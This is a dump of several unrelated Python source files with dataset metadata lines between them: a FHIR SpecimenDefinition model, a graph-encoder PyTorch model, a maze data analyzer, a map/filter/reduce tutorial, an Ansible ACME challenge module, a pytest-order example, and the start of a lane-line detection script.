alias="material", title="Container material", description="The type of material of the container.", # if property is element of this resource. element_property=True, ) minimumVolumeQuantity: fhirtypes.QuantityType = Field( None, alias="minimumVolumeQuantity", title="Minimum volume", description="The minimum volume to be conditioned in the container.", # if property is element of this resource. element_property=True, # Choice of Data Types. i.e minimumVolume[x] one_of_many="minimumVolume", one_of_many_required=False, ) minimumVolumeString: fhirtypes.String = Field( None, alias="minimumVolumeString", title="Minimum volume", description="The minimum volume to be conditioned in the container.", # if property is element of this resource. element_property=True, # Choice of Data Types. i.e minimumVolume[x] one_of_many="minimumVolume", one_of_many_required=False, ) minimumVolumeString__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_minimumVolumeString", title="Extension field for ``minimumVolumeString``.", ) preparation: fhirtypes.String = Field( None, alias="preparation", title="Specimen container preparation", description=( "Special processing that should be applied to the container for this " "kind of specimen." ), # if property is element of this resource. element_property=True, ) preparation__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_preparation", title="Extension field for ``preparation``." ) type: fhirtypes.CodeableConceptType = Field( None, alias="type", title="Kind of container associated with the kind of specimen", description="The type of container used to contain this kind of specimen.", # if property is element of this resource. element_property=True, ) @root_validator(pre=True, allow_reuse=True) def validate_one_of_many_4016( cls, values: typing.Dict[str, typing.Any] ) -> typing.Dict[str, typing.Any]: """https://www.hl7.org/fhir/formats.html#choice A few elements have a choice of more than one data type for their content. All such elements have a name that takes the form nnn[x]. The "nnn" part of the name is constant, and the "[x]" is replaced with the title-cased name of the type that is actually used. The table view shows each of these names explicitly. Elements that have a choice of data type cannot repeat - they must have a maximum cardinality of 1. When constructing an instance of an element with a choice of types, the authoring system must create a single element with a data type chosen from among the list of permitted data types. """ one_of_many_fields = { "minimumVolume": ["minimumVolumeQuantity", "minimumVolumeString"] } for prefix, fields in one_of_many_fields.items(): assert cls.__fields__[fields[0]].field_info.extra["one_of_many"] == prefix required = ( cls.__fields__[fields[0]].field_info.extra["one_of_many_required"] is True ) found = False for field in fields: if field in values and values[field] is not None: if found is True: raise ValueError( "Any of one field value is expected from " f"this list {fields}, but got multiple!" ) else: found = True if required is True and found is False: raise ValueError(f"Expect any of field value from this list {fields}.") return values class SpecimenDefinitionTypeTestedContainerAdditive(backboneelement.BackboneElement): """Disclaimer: Any field name ends with ``__ext`` does't part of Resource StructureDefinition, instead used to enable Extensibility feature for FHIR Primitive Data Types. Additive associated with container. Substance introduced in the kind of container to preserve, maintain or enhance the specimen. Examples: Formalin, Citrate, EDTA. """ resource_type = Field("SpecimenDefinitionTypeTestedContainerAdditive", const=True) additiveCodeableConcept: fhirtypes.CodeableConceptType = Field( None, alias="additiveCodeableConcept", title="Additive associated with container", description=( "Substance introduced in the kind of container to preserve, maintain or" " enhance the specimen. Examples: Formalin, Citrate, EDTA." ), # if property is element of this resource. element_property=True, # Choice of Data Types. i.e additive[x] one_of_many="additive", one_of_many_required=True, ) additiveReference: fhirtypes.ReferenceType = Field( None, alias="additiveReference", title="Additive associated with container", description=( "Substance introduced in the kind of container to preserve, maintain or" " enhance the specimen. Examples: Formalin, Citrate, EDTA." ), # if property is element of this resource. element_property=True, # Choice of Data Types. i.e additive[x] one_of_many="additive", one_of_many_required=True, # note: Listed Resource Type(s) should be allowed as Reference. enum_reference_types=["Substance"], ) @root_validator(pre=True, allow_reuse=True) def validate_one_of_many_4813( cls, values: typing.Dict[str, typing.Any] ) -> typing.Dict[str, typing.Any]: """https://www.hl7.org/fhir/formats.html#choice A few elements have a choice of more than one data type for their content. All such elements have a name that takes the form nnn[x]. The "nnn" part of the name is constant, and the "[x]" is replaced with the title-cased name of the type that is actually used. The table view shows each of these names explicitly. Elements that have a choice of data type cannot repeat - they must have a maximum cardinality of 1. When constructing an instance of an element with a choice of types, the authoring system must create a single element with a data type chosen from among the list of permitted data types. """ one_of_many_fields = { "additive": ["additiveCodeableConcept", "additiveReference"] } for prefix, fields in one_of_many_fields.items(): assert cls.__fields__[fields[0]].field_info.extra["one_of_many"] == prefix required = ( cls.__fields__[fields[0]].field_info.extra["one_of_many_required"] is True ) found = False for field in fields: if field in values and values[field] is not None: if found is True: raise ValueError( "Any of one field value is expected from " f"this list {fields}, but got multiple!" ) else: found = True if required is True and found is False: raise ValueError(f"Expect any of field value from this list {fields}.") return values class SpecimenDefinitionTypeTestedHandling(backboneelement.BackboneElement): """Disclaimer: Any field name ends with ``__ext`` does't part of Resource StructureDefinition, instead used to enable Extensibility feature for FHIR Primitive Data Types. Specimen handling before testing. Set of instructions for preservation/transport of the specimen at a defined temperature interval, prior the testing process. """ resource_type = Field("SpecimenDefinitionTypeTestedHandling", const=True) instruction: fhirtypes.String = Field( None, alias="instruction", title="Preservation instruction", description=( "Additional textual instructions for the preservation or transport of " "the specimen. For instance, 'Protect from light exposure'." ), # if property is element of this resource. element_property=True, ) instruction__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_instruction", title="Extension field for ``instruction``." ) maxDuration: fhirtypes.DurationType = Field( None, alias="maxDuration", title="Maximum preservation time", description=( "The maximum time interval of preservation of the specimen with these " "conditions." ), # if property is element of this resource. element_property=True, ) temperatureQualifier: fhirtypes.CodeableConceptType = Field( None, alias="temperatureQualifier", title="Temperature qualifier", description=( "It qualifies the interval of temperature, which characterizes an " "occurrence of handling. Conditions that are not related to temperature" " may be handled in the instruction element." ), # if property is element of this resource. element_property=True, ) temperatureRange: fhirtypes.RangeType = Field( None, alias="temperatureRange", title="Temperature range", description="The temperature interval for this set of handling instructions.", # if property is element of this resource. element_property=True, )
38.389286
93
0.634199
21,045
0.978928
0
0
6,526
0.303563
0
0
9,918
0.461345
d576c12c0ca80e35e6f43cee787a2cfd1e8bfe55
8,415
py
Python
binlin/model/syn/sympairs_newenc.py
UKPLab/inlg2019-revisiting-binlin
250196403ee4050cac78c547add90087ea04243f
[ "Apache-2.0" ]
1
2021-12-15T08:44:35.000Z
2021-12-15T08:44:35.000Z
binlin/model/syn/sympairs_newenc.py
UKPLab/inlg2019-revisiting-binlin
250196403ee4050cac78c547add90087ea04243f
[ "Apache-2.0" ]
3
2021-03-19T04:07:44.000Z
2022-01-13T01:40:50.000Z
binlin/model/syn/sympairs_newenc.py
UKPLab/inlg2019-revisiting-binlin
250196403ee4050cac78c547add90087ea04243f
[ "Apache-2.0" ]
null
null
null
import logging from typing import Dict, List, Tuple, Union import numpy as np import torch import torch.nn.functional as F from networkx import DiGraph from torch import Tensor, nn as nn from torch.autograd.variable import Variable from binlin.data.ud import index_data from binlin.model.nn_utils import get_embed_matrix, pad_seq from binlin.model.syn.sympairs import SymModel from binlin.model.syn.utils.bintree import BinTreeBase from binlin.utils.combinatorics import flatten_nested_lists from binlin.utils.constants import VocabSymbols logger = logging.getLogger('main') class SymGraphEncModel(SymModel): @property def _data_fields(self): return ['LEMMA', 'UPOS', 'XPOS', 'DEPREL'] @property def _num_embedding_feats(self): # todo: need to avoid hard-coding # 6 = 2 * 3 # 2 because we consider two nodes at a time, # 3 because for a node we consider itself + its context # consisting of its parent and a random child return 2 * 3 * self._data_fields_num def _init_weights(self): self._dim_emb = self.config["embedding_dim"] self._mat_emb = get_embed_matrix(len(self._id2tok), self._dim_emb, padding_idx=self.PAD_ID) self._dim_emb_proj_in = self._num_embedding_feats * self._dim_emb self._dim_emb_proj_out = self._num_embedding_feats * self.config['embedding_proj_dim'] self._mat_emb_proj = nn.Linear(self._dim_emb_proj_in, self._dim_emb_proj_out) self._dim_dense_out = self.config["dense_dim"] self._mat_dense = nn.Linear(self._dim_emb_proj_out, self._dim_dense_out) self._mat_attn = nn.Linear(self._dim_emb, 1) self._dim_concat_in = self._dim_dense_out + self._dim_emb self._dim_concat_out = self._dim_dense_out self._mat_concat = nn.Linear(self._dim_concat_in, self._dim_concat_out) self._dim_out = 1 self._mat_out = nn.Linear(self._dim_dense_out, self._dim_out) def forward(self, batch_data: Tuple[Tensor, Tensor, Union[Tensor, None]]) -> Dict: other_nodes_var, head_child_var, _ = batch_data # head-child pair is encoded using an MLP x_head_child = self._mat_emb(head_child_var).view(-1, self._dim_emb_proj_in) # size(num_node_pairs, self.emb_proj_in) x_head_child = F.leaky_relu(self._mat_emb_proj(x_head_child)) # size (num_node_pairs, self.emb_proj_out) x_head_child = F.leaky_relu(self._mat_dense(x_head_child)) # size (num_node_pairs, self.dense1_dim) # x_head_child = F.leaky_relu(x_head_child) # size (num_node_pairs, self.dense1_dim) # graph nodes are encoded using embedding lookup --> summing node_number = other_nodes_var.shape[-1] x_graph = self._mat_emb(other_nodes_var) # size (max_num_nodes, batch_size, self.emb_dim) # variant1: sum over all vecs # x_graph = torch.sum(x_graph, dim=[0], keepdim=True).view(-1, self._dim_emb) # size (batch_size, emb_dim) # variant2: use attn scores attn_unnorm_scores = self._mat_attn(x_graph.view(-1, self._dim_emb)) # num_edges x 1 attn_weights = F.leaky_relu(attn_unnorm_scores).view(-1, 1, node_number) # TODO: find a simpler way to do it w/o squeezing and unsqueezing? # apply attention weights to the graph vectors to get weighted average # size (1, dense) x_graph = torch.bmm(attn_weights, x_graph).squeeze(1) # size: (bsize, emb_size) # Concat head, child and graph representations x_combined = torch.cat((x_head_child, x_graph), 1) # size (bs, emb_dim + self.dense1_dim) # size (batch_size, self.dense1_dim) x_combined = self._mat_concat(x_combined) x_combined = F.leaky_relu(x_combined) x_combined = self._mat_out(x_combined) logits = torch.sigmoid(x_combined) return {'logits': logits} def extract_features(self, bt, new_node_nxid, dg, feats_d): # pair-level features head_nxid = bt.nxid head_deptree_feats = feats_d[head_nxid] child_deptree_feats = feats_d[new_node_nxid] x_pair_ids_l = head_deptree_feats + child_deptree_feats # extracting graph-level features graph_ids_l = self.extract_graph_level_feats(dg, new_node_nxid, bt, feats_d) return (graph_ids_l, x_pair_ids_l) def extract_graph_level_feats(self, dg, new_node_nxid, bt, feats_d): head_sbl = dg.node[bt.nxid]['sbl'] if head_sbl is None: head_sbl_feats_l = self._dummy_node_feats_vec else: head_sbl_feats_l = flatten_nested_lists([feats_d[ch] for ch in head_sbl]) child_sbl = dg.node[new_node_nxid]['sbl'] if child_sbl is None: ch_sbl_feats_l = self._dummy_node_feats_vec else: ch_sbl_feats_l = flatten_nested_lists([feats_d[ch] for ch in child_sbl]) child_children = dg[new_node_nxid] if len(child_children) == 0: ch_ch_feats_l = self._dummy_node_feats_vec else: ch_ch_feats_l = flatten_nested_lists([feats_d[ch] for ch in child_children]) graph_ids_l = head_sbl_feats_l + ch_sbl_feats_l + ch_ch_feats_l return graph_ids_l def init_data_containers(self): return {'X': [], 'Y': [], 'Xg': []} def add_xy_pairs(self, data_containers: Dict, y: int, model_inputs: Tuple[List[int], List[int]]): x_graph, x_head_child = model_inputs data_containers['X'].append(x_head_child) data_containers['Xg'].append(x_graph) data_containers['Y'].append(y) def _batchify(self, data_containers: Dict, batch_size: int): # sort according to the lemma length sorted_data = sorted(zip(*(data_containers['Xg'], data_containers['X'], data_containers['Y'])), key=lambda p: len(p[0]), reverse=True) data_size = len(sorted_data) num_batches = data_size // batch_size data_indices = index_data(data_size, mode='no_shuffling') batch_pairs = [] for bi in range(num_batches + 1): # including the last (smaller) batch batch_x_pair_feats = [] batch_x_graph_feats = [] batch_x_lens = [] batch_y = [] curr_batch_indices = data_indices[bi * batch_size: (bi + 1) * batch_size] if len(curr_batch_indices) == 0: break for idx in curr_batch_indices: graph_f_ids, node_pairs_f_ids, y_ids = sorted_data[idx] batch_x_graph_feats.append(graph_f_ids) batch_x_lens.append(len(graph_f_ids)) batch_x_pair_feats.append(node_pairs_f_ids) batch_y.append(y_ids) max_graph_f_len = max(batch_x_lens) batch_x_graph_feats_padded = [pad_seq(x, max_graph_f_len, pad_id=self.PAD_ID) for x in batch_x_graph_feats] # size: (num_nodes, batch_size) batch_x_graph_feats_var = Variable(torch.LongTensor(batch_x_graph_feats_padded)).to(self.device) # size: (batch_size, 2 * num_node_feats) batch_x_pair_feats_var = Variable(torch.LongTensor(batch_x_pair_feats)).to(self.device) # size: (batch_size, 1) batch_y_var = Variable(torch.FloatTensor(batch_y)).unsqueeze(1).to(self.device) batch_pairs.append((batch_x_graph_feats_var, batch_x_pair_feats_var, batch_y_var)) return batch_pairs def make_decision(self, bt: BinTreeBase, new_node_nxid: str, dg: DiGraph, feats_d: Dict, *other_inputs) -> int: x_graph_ids_l, x_ids_l = self.extract_features(bt, new_node_nxid, dg, feats_d) x_ids_np = np.asarray(x_ids_l) x_graph_ids_l = np.asarray([x_graph_ids_l]) outputs = self.__call__( ( torch.from_numpy(x_graph_ids_l).to(self.device), torch.from_numpy(x_ids_np).to(self.device), None) ) logit_val = outputs['logits'].cpu().data[0].numpy() if logit_val >= 0.5: decision = VocabSymbols.RIGHT else: decision = VocabSymbols.LEFT return decision component = SymGraphEncModel
40.456731
122
0.651337
7,803
0.927273
0
0
411
0.048841
0
0
1,387
0.164825
d576c1660c434219aa62d4d9116e13d2df8e9624
1,563
py
Python
mazeChallenge/nicolovescera_tommasoromani_nicoloposta/data_analyzer.py
NicoloPosta/pybootcamp-challenges
c20a44df413a6adc6e18c7052cf55bdbf760838c
[ "Apache-2.0" ]
null
null
null
mazeChallenge/nicolovescera_tommasoromani_nicoloposta/data_analyzer.py
NicoloPosta/pybootcamp-challenges
c20a44df413a6adc6e18c7052cf55bdbf760838c
[ "Apache-2.0" ]
null
null
null
mazeChallenge/nicolovescera_tommasoromani_nicoloposta/data_analyzer.py
NicoloPosta/pybootcamp-challenges
c20a44df413a6adc6e18c7052cf55bdbf760838c
[ "Apache-2.0" ]
null
null
null
from plotter import load_data import pandas as pd import matplotlib.pyplot as plt import numpy as np # Stampa il dataframe passatogli come istogramma def plot_coordinata(data: pd.DataFrame, coordinata: str, alpha_value=1.0, title="Grafico 1"): data = data[[coordinata,'color']] rosse = data[data['color'] == 'red'].groupby(coordinata).count() blu = data[data['color'] == 'blue'].groupby(coordinata).count() verdi = data[data['color'] == 'green'].groupby(coordinata).count() ax = pd.concat([rosse,verdi,blu], axis = 1).plot(kind = 'bar', color = ['r','g','b']) ax.legend(["R", "G", "B"]) ax.set_title(title) # Conta il totale delle celle e il colore def cell_stats(data: pd.DataFrame): colors = data['color'].value_counts() print(f"\nIl totale delle celle nel labirinto è di {data['color'].count()}.\n") # Tolgo le celle bianche colors.drop('white', inplace=True) for color, value in colors.iteritems(): print(f"{color}:\t{value}") # Stampa a video gli istogrammi, se invocata con True confronta le due distribuzioni nei relativi istogrammi def plot_stats(confronto=False): data = load_data("data.csv") if confronto: data2 = load_data("data2.csv") if not confronto: cell_stats(data) plot_coordinata(data, 'x') if confronto: plot_coordinata(data2, 'x', alpha_value=0.5, title="Grafico 2") plot_coordinata(data, 'y') if confronto: plot_coordinata(data2, 'y', alpha_value=0.5, title="Grafico 2") plt.show()
30.057692
108
0.651951
0
0
0
0
0
0
0
0
463
0.296036
d57d0a31e680bead64fbb6304d9ea92f18b64649
1,281
py
Python
complex_data_structure/7_map_filter_reduce.py
hardikid/learn-python
6b3684c9d459dc10ed41e3328daf49313a34b375
[ "MIT" ]
1
2019-11-19T11:42:50.000Z
2019-11-19T11:42:50.000Z
complex_data_structure/7_map_filter_reduce.py
hardikid/learn-python
6b3684c9d459dc10ed41e3328daf49313a34b375
[ "MIT" ]
5
2021-08-23T20:36:02.000Z
2022-02-03T13:20:23.000Z
complex_data_structure/7_map_filter_reduce.py
ihardik/learn-python
6b3684c9d459dc10ed41e3328daf49313a34b375
[ "MIT" ]
null
null
null
######## map # Transform each object of list # i.e. multiple each object by 3 in [0,1,2,3] x = range(5) print(list(x)) y = map(lambda x: x*3,x) def multiply_5(num): return num*5 print(list(y)) y = map(multiply_5,x) print(list(y)) ######## filter # Removed items from list based on condition y = filter(lambda i: i%2==0, x) print(list(y)) ######## reduce from functools import reduce y = reduce(lambda a,b: a+b, x) print(y) ####### Play around with OS module. import os import time print(time.time()) print(os.getcwd()) print(os.listdir()) x = ["ABC","ABCD","PQR"] x_lower = list(map(str.lower, x)) print(x_lower) print([w for w in x if w.startswith('A')]) x = [2,4,6,8,10] x_2 = list(map(lambda i: i/2, x)) print(x_2) value = list(map(lambda x: str(x).startswith('p'), os.listdir())) print(value) print(list(filter(lambda x: str(x).find("cwd") > 0, dir(os)))) print([x for x in dir(os) if x.find("cwd") > 0]) ######## del keyword x= [1,2,3] print(x) del x[1] print(x) x = {"key1":"Value1","key2":"Value2"} print(x) del x['key1'] print(x) ######## in keyword print("a" in ["a","b"]) print("a" in "abc") x = {"a":1} print("a" in x) x = {"key":"a"} print("a" in x.values())
16.0125
66
0.558938
0
0
0
0
0
0
0
0
345
0.269321
d57e965e9de5274c6fa912c32713dec8917703fa
10,781
py
Python
venv/lib/python3.8/site-packages/ansible_collections/community/crypto/plugins/module_utils/acme/challenges.py
saeedya/docker-ansible
6fb0cfc6bc4a5925b21380952a5a4502ec02119a
[ "Apache-2.0" ]
null
null
null
venv/lib/python3.8/site-packages/ansible_collections/community/crypto/plugins/module_utils/acme/challenges.py
saeedya/docker-ansible
6fb0cfc6bc4a5925b21380952a5a4502ec02119a
[ "Apache-2.0" ]
null
null
null
venv/lib/python3.8/site-packages/ansible_collections/community/crypto/plugins/module_utils/acme/challenges.py
saeedya/docker-ansible
6fb0cfc6bc4a5925b21380952a5a4502ec02119a
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright: (c) 2016 Michael Gruener <michael.gruener@chaosmoon.net> # Copyright: (c) 2021 Felix Fontein <felix@fontein.de> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type import base64 import hashlib import json import re import time from ansible.module_utils.common.text.converters import to_bytes from ansible_collections.community.crypto.plugins.module_utils.acme.utils import ( nopad_b64, ) from ansible_collections.community.crypto.plugins.module_utils.acme.errors import ( format_error_problem, ACMEProtocolException, ModuleFailException, ) try: import ipaddress except ImportError: pass def create_key_authorization(client, token): ''' Returns the key authorization for the given token https://tools.ietf.org/html/rfc8555#section-8.1 ''' accountkey_json = json.dumps(client.account_jwk, sort_keys=True, separators=(',', ':')) thumbprint = nopad_b64(hashlib.sha256(accountkey_json.encode('utf8')).digest()) return "{0}.{1}".format(token, thumbprint) def combine_identifier(identifier_type, identifier): return '{type}:{identifier}'.format(type=identifier_type, identifier=identifier) def split_identifier(identifier): parts = identifier.split(':', 1) if len(parts) != 2: raise ModuleFailException( 'Identifier "{identifier}" is not of the form <type>:<identifier>'.format(identifier=identifier)) return parts class Challenge(object): def __init__(self, data, url): self.data = data self.type = data['type'] self.url = url self.status = data['status'] self.token = data.get('token') @classmethod def from_json(cls, client, data, url=None): return cls(data, url or (data['uri'] if client.version == 1 else data['url'])) def call_validate(self, client): challenge_response = {} if client.version == 1: token = re.sub(r"[^A-Za-z0-9_\-]", "_", self.token) key_authorization = create_key_authorization(client, token) challenge_response['resource'] = 'challenge' challenge_response['keyAuthorization'] = key_authorization challenge_response['type'] = self.type client.send_signed_request( self.url, challenge_response, error_msg='Failed to validate challenge', expected_status_codes=[200, 202], ) def to_json(self): return self.data.copy() def get_validation_data(self, client, identifier_type, identifier): token = re.sub(r"[^A-Za-z0-9_\-]", "_", self.token) key_authorization = create_key_authorization(client, token) if self.type == 'http-01': # https://tools.ietf.org/html/rfc8555#section-8.3 return { 'resource': '.well-known/acme-challenge/{token}'.format(token=token), 'resource_value': key_authorization, } if self.type == 'dns-01': if identifier_type != 'dns': return None # https://tools.ietf.org/html/rfc8555#section-8.4 resource = '_acme-challenge' value = nopad_b64(hashlib.sha256(to_bytes(key_authorization)).digest()) record = (resource + identifier[1:]) if identifier.startswith('*.') else '{0}.{1}'.format(resource, identifier) return { 'resource': resource, 'resource_value': value, 'record': record, } if self.type == 'tls-alpn-01': # https://www.rfc-editor.org/rfc/rfc8737.html#section-3 if identifier_type == 'ip': # IPv4/IPv6 address: use reverse mapping (RFC1034, RFC3596) resource = ipaddress.ip_address(identifier).reverse_pointer if not resource.endswith('.'): resource += '.' else: resource = identifier value = base64.b64encode(hashlib.sha256(to_bytes(key_authorization)).digest()) return { 'resource': resource, 'resource_original': combine_identifier(identifier_type, identifier), 'resource_value': value, } # Unknown challenge type: ignore return None class Authorization(object): def _setup(self, client, data): data['uri'] = self.url self.data = data self.challenges = [Challenge.from_json(client, challenge) for challenge in data['challenges']] if client.version == 1 and 'status' not in data: # https://tools.ietf.org/html/draft-ietf-acme-acme-02#section-6.1.2 # "status (required, string): ... # If this field is missing, then the default value is "pending"." self.status = 'pending' else: self.status = data['status'] self.identifier = data['identifier']['value'] self.identifier_type = data['identifier']['type'] if data.get('wildcard', False): self.identifier = '*.{0}'.format(self.identifier) def __init__(self, url): self.url = url self.data = None self.challenges = [] self.status = None self.identifier_type = None self.identifier = None @classmethod def from_json(cls, client, data, url): result = cls(url) result._setup(client, data) return result @classmethod def from_url(cls, client, url): result = cls(url) result.refresh(client) return result @classmethod def create(cls, client, identifier_type, identifier): ''' Create a new authorization for the given identifier. Return the authorization object of the new authorization https://tools.ietf.org/html/draft-ietf-acme-acme-02#section-6.4 ''' new_authz = { "identifier": { "type": identifier_type, "value": identifier, }, } if client.version == 1: url = client.directory['new-authz'] new_authz["resource"] = "new-authz" else: if 'newAuthz' not in client.directory.directory: raise ACMEProtocolException(client.module, 'ACME endpoint does not support pre-authorization') url = client.directory['newAuthz'] result, info = client.send_signed_request( url, new_authz, error_msg='Failed to request challenges', expected_status_codes=[200, 201]) return cls.from_json(client, result, info['location']) @property def combined_identifier(self): return combine_identifier(self.identifier_type, self.identifier) def to_json(self): return self.data.copy() def refresh(self, client): result, dummy = client.get_request(self.url) changed = self.data != result self._setup(client, result) return changed def get_challenge_data(self, client): ''' Returns a dict with the data for all proposed (and supported) challenges of the given authorization. ''' data = {} for challenge in self.challenges: validation_data = challenge.get_validation_data(client, self.identifier_type, self.identifier) if validation_data is not None: data[challenge.type] = validation_data return data def raise_error(self, error_msg, module=None): ''' Aborts with a specific error for a challenge. ''' error_details = [] # multiple challenges could have failed at this point, gather error # details for all of them before failing for challenge in self.challenges: if challenge.status == 'invalid': msg = 'Challenge {type}'.format(type=challenge.type) if 'error' in challenge.data: msg = '{msg}: {problem}'.format( msg=msg, problem=format_error_problem(challenge.data['error'], subproblem_prefix='{0}.'.format(challenge.type)), ) error_details.append(msg) raise ACMEProtocolException( module, 'Failed to validate challenge for {identifier}: {error}. {details}'.format( identifier=self.combined_identifier, error=error_msg, details='; '.join(error_details), ), extras=dict( identifier=self.combined_identifier, authorization=self.data, ), ) def find_challenge(self, challenge_type): for challenge in self.challenges: if challenge_type == challenge.type: return challenge return None def wait_for_validation(self, client, callenge_type): while True: self.refresh(client) if self.status in ['valid', 'invalid', 'revoked']: break time.sleep(2) if self.status == 'invalid': self.raise_error('Status is "invalid"', module=client.module) return self.status == 'valid' def call_validate(self, client, challenge_type, wait=True): ''' Validate the authorization provided in the auth dict. Returns True when the validation was successful and False when it was not. ''' challenge = self.find_challenge(challenge_type) if challenge is None: raise ModuleFailException('Found no challenge of type "{challenge}" for identifier {identifier}!'.format( challenge=challenge_type, identifier=self.combined_identifier, )) challenge.call_validate(client) if not wait: return self.status == 'valid' return self.wait_for_validation(client, challenge_type) def deactivate(self, client): ''' Deactivates this authorization. https://community.letsencrypt.org/t/authorization-deactivation/19860/2 https://tools.ietf.org/html/rfc8555#section-7.5.2 ''' if self.status != 'valid': return authz_deactivate = { 'status': 'deactivated' } if client.version == 1: authz_deactivate['resource'] = 'authz' result, info = client.send_signed_request(self.url, authz_deactivate, fail_on_error=False) if 200 <= info['status'] < 300 and result.get('status') == 'deactivated': self.status = 'deactivated' return True return False
35.580858
127
0.602727
9,201
0.853446
0
0
1,555
0.144235
0
0
2,738
0.253965
d57eb3183cea1c9fed2cc78a667014a3b96be463
115
py
Python
example/order_scope_level/feature2/test_b.py
DevilXD/pytest-order
88685d802cb18bf04f72d0e8ec484d56bb3473d3
[ "MIT" ]
41
2021-03-16T07:57:00.000Z
2022-03-01T10:02:10.000Z
example/order_scope_level/feature2/test_b.py
DevilXD/pytest-order
88685d802cb18bf04f72d0e8ec484d56bb3473d3
[ "MIT" ]
39
2021-03-04T16:50:04.000Z
2022-02-18T18:51:14.000Z
example/order_scope_level/feature2/test_b.py
DevilXD/pytest-order
88685d802cb18bf04f72d0e8ec484d56bb3473d3
[ "MIT" ]
9
2021-03-04T18:27:12.000Z
2021-12-16T06:46:13.000Z
import pytest @pytest.mark.order(4) def test_four(): pass @pytest.mark.order(3) def test_three(): pass
9.583333
21
0.669565
0
0
0
0
95
0.826087
0
0
0
0
d57fd865a85ee217ca78b18a3c2f824a1af7f759
31,890
py
Python
locate_lane_lines.py
StoicLobster/Udacity-SelfDrivingCar-T1P4
2425cc5859861af9add86f6b3c42c2dd1faf0560
[ "MIT" ]
null
null
null
locate_lane_lines.py
StoicLobster/Udacity-SelfDrivingCar-T1P4
2425cc5859861af9add86f6b3c42c2dd1faf0560
[ "MIT" ]
null
null
null
locate_lane_lines.py
StoicLobster/Udacity-SelfDrivingCar-T1P4
2425cc5859861af9add86f6b3c42c2dd1faf0560
[ "MIT" ]
null
null
null
## This script will define the functions used in the locate lane lines pipeline ## The end of this script will process a video file to locate and plot the lane lines import pickle import numpy as np import cv2 import matplotlib.pyplot as plt import matplotlib.image as mpimg from moviepy.editor import VideoFileClip import sys ## Unpickle Required Data cam_mtx = pickle.load(open("camera_matrix.p","rb")) dist_coef = pickle.load(open("camera_distortion_coefficients.p","rb")) M = pickle.load(open("M.p","rb")) Minv = pickle.load(open("Minv.p","rb")) ## Undistort Function def undistort(img_RGB_in): # Input RGB distorted, Output RGB undistorted img_out = cv2.undistort(img_RGB_in, cam_mtx, dist_coef, None, cam_mtx) return(img_out) # Sample undistort image if (False): img = mpimg.imread('camera_cal/calibration1.jpg') dst_img = undistort(img) plt.figure(0) plt.imshow(img) plt.title('Original Image') plt.savefig('output_images/distorted_image.png') plt.figure(1) plt.imshow(dst_img) plt.title('Undistorted Image') plt.savefig('output_images/undistorted_image.png') plt.show() # Color Threshold Function def color_thresh(img_RGB_in,RGB_out): # Input RGB undistorted, Output Binary (or RGB for video) # Convert image to HSV color space img_HSV = cv2.cvtColor(img_RGB_in, cv2.COLOR_RGB2HSV) # Extract S layer H_layer = img_HSV[:,:,0]*2 S_layer = img_HSV[:,:,1]/255*100 V_layer = img_HSV[:,:,2]/255*100 # Apply threshold to S layer to identify white and yellow lane lines H_Yellow = (40,70) S_Yellow = (30,100) V_Yellow = (30,100) H_White = (0,50) S_White = (0,10) V_White = (75,100) img_out = np.zeros_like(H_layer) img_out[(((H_layer >= H_Yellow[0]) & (H_layer <= H_Yellow[1])) \ & ((S_layer >= S_Yellow[0]) & (S_layer <= S_Yellow[1])) \ & ((V_layer >= V_Yellow[0]) & (V_layer <= V_Yellow[1]))) \ | (((H_layer >= H_White[0]) & (H_layer <= H_White[1])) \ & ((S_layer >= S_White[0]) & (S_layer <= S_White[1])) \ & ((V_layer >= V_White[0]) & (V_layer <= V_White[1])))] = 1 if (RGB_out): black_out_idxs = np.where(img_out == 0) img_out = np.copy(img_RGB_in) img_out[black_out_idxs[0],black_out_idxs[1],:] = 0 return(img_out) # Sample color threshold image if (False): img = mpimg.imread('test_images/test5.jpg') thrsh_img = color_thresh(img,RGB_out=True) plt.figure(2) plt.imshow(img) plt.title('Original Image') plt.savefig('output_images/pre_color_thresh.png') plt.figure(3) plt.imshow(thrsh_img, cmap='gray') plt.title('Color Threshold') plt.savefig('output_images/post_color_thresh.png') plt.show() ## Perspective Transform to Top-Down View Function def top_down_xfrm(img_RGB_in,frwd): # Input RGB undistorted, Output RGB top-down # frwd is bool that specifies if normal transform is requested (true) or inverse (false) img_size = (img_RGB_in.shape[1], img_RGB_in.shape[0]) if (frwd): Xfrm = M else: Xfrm = Minv img_RGB_out = cv2.warpPerspective(img_RGB_in, Xfrm, img_size, flags=cv2.INTER_LINEAR) return(img_RGB_out) # Sample top-down perspective transform on image if (False): img = mpimg.imread('test_images/test6.jpg') warped = top_down_xfrm(img,frwd=True) plt.figure(4) plt.imshow(img) plt.title('Original Image') plt.savefig('output_images/pre_top_down.png') plt.figure(5) plt.imshow(warped) plt.title('Top Down View Warp') plt.savefig('output_images/post_top_down.png') plt.show() ## Gradient Threshold Function def grad_thresh(img_RGB_in,RGB_out): # Input RGB top-down, Output Binary (or RGB for video) # RGB_out boolean can be used for video testing #Apply gradient threshold in x direction img_GRAY = cv2.cvtColor(img_RGB_in, cv2.COLOR_RGB2GRAY) grad_thresh = (10,100) abs_sobel = np.absolute(cv2.Sobel(img_GRAY, cv2.CV_64F, 1, 0)) scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel)) img_out = np.zeros_like(img_GRAY, dtype=np.uint8) img_out[(scaled_sobel >= grad_thresh[0]) & (scaled_sobel <= grad_thresh[1])] = 1 if (RGB_out): black_out_idxs = np.where(img_out == 0) img_out = np.copy(img_RGB_in) img_out[black_out_idxs[0],black_out_idxs[1],:] = 0 # print(out.shape) return(img_out) # Sample gradient threshold image if (False): img = mpimg.imread('test_images/test6.jpg') img = top_down_xfrm(img,frwd=True) thrsh_img = grad_thresh(img,RGB_out=False) plt.figure(6) plt.imshow(img) plt.title('Original Top Down Transformed Image') plt.savefig('output_images/pre_grad_thresh.png') plt.figure(7) plt.imshow(thrsh_img, cmap='gray') plt.title('Gradient Threshold') plt.savefig('output_images/post_grad_thresh.png') plt.show() # Class to store and calculate both lane line parameters class LaneLines(): def __init__(self,img_RGB_in,img_BIN_in): frame_height = img_RGB_in.shape[0] frame_width = img_RGB_in.shape[1] # CONSTANTS # Frame height self.frame_height = frame_height # 